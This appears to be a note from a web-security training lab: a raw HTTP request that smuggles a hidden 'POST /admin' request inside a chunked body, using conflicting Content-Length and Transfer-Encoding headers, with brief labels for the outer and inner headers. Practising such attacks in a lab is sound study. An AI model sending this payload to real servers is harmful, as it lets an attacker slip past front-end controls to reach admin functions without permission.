POST / HTTP/1.1
Host: lab-identifier.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked

3a\r\n
POST /admin HTTP/1.1\r\n
Content-Length: 22\r\n
\r\n
userid=scomurr\r\n
0\r\n
\r\n

Top Level: Transfer-Encoding

Top Level: Content-Length: 4

Payload: POST

Payload: Content-Length: 22